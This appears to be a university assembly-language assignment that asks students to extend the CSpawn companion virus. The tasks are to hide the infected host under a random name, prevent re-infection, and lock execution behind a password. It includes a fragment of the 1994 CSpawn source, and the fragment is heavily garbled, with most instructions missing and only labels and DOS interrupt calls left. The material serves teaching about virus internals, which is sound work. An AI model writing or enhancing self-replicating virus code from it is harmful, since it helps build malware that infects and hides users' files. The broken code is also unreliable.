Assembly Task
Assembly Task
• implement at least 1 new procedure for each team member (the procedure must receive
at least 1 input arguments (pointers or values) on stack and must return a result by the
stack orby a register – NO global variables
1. Rewrite the INFECT_FILE routine to give the host a random name and make it a
hidden file. Furthermore, make the viral program visible, but make sure you
come up with a strategy to avoid re-infection at the level of the FIND_FILES
routine so that INFECT_FILE is never even called to infect something that should
not be infected.
2. Add a routine to CSpawn which will demand a password before executing the
host and will exit without executing the host if it doesn’t get the right password.
You can hard-code the required password. The password will be different for
each infected file and will be generated based on the host name (you can
choose the pattern)
The following virus can be assembled into a COM file by MASM, TASM, or A86 and executed
directly.
; The CSpawn virus is a simple companion virus to illustrate how a companion virus works.
; (C) 1994 American Eagle Publications, Inc. All Rights Reserved!
.model tiny
.code
org 0100h
CSpawn:
mov bx,sp
mov cl,4
shr bx,cl
int 21H
mov ax,[bx]
mov ax,cs
COMPANION VIRUSES
mov ax,4B00H
cli
sti
push bx
int 21H
; The following routine searches for COM files and infects them
FIND_FILES:
int 21h
FIND_LOOP:
FIND_DONE:
INFECT_FILE:
INF_LOOP:
mov WORD PTR [di-2] , 'N' ;change name to CON & add 0
mov dx,9EH ;DTA + 1EH
mov di,OFFSET REAL_NAME
mov ah,56H ;rename original file
int 21H
int 21H
int 21H
mov ah,3EH ; DOS close file function
int 21h
INF_EXIT:
ret
FINISH:
end CSpawn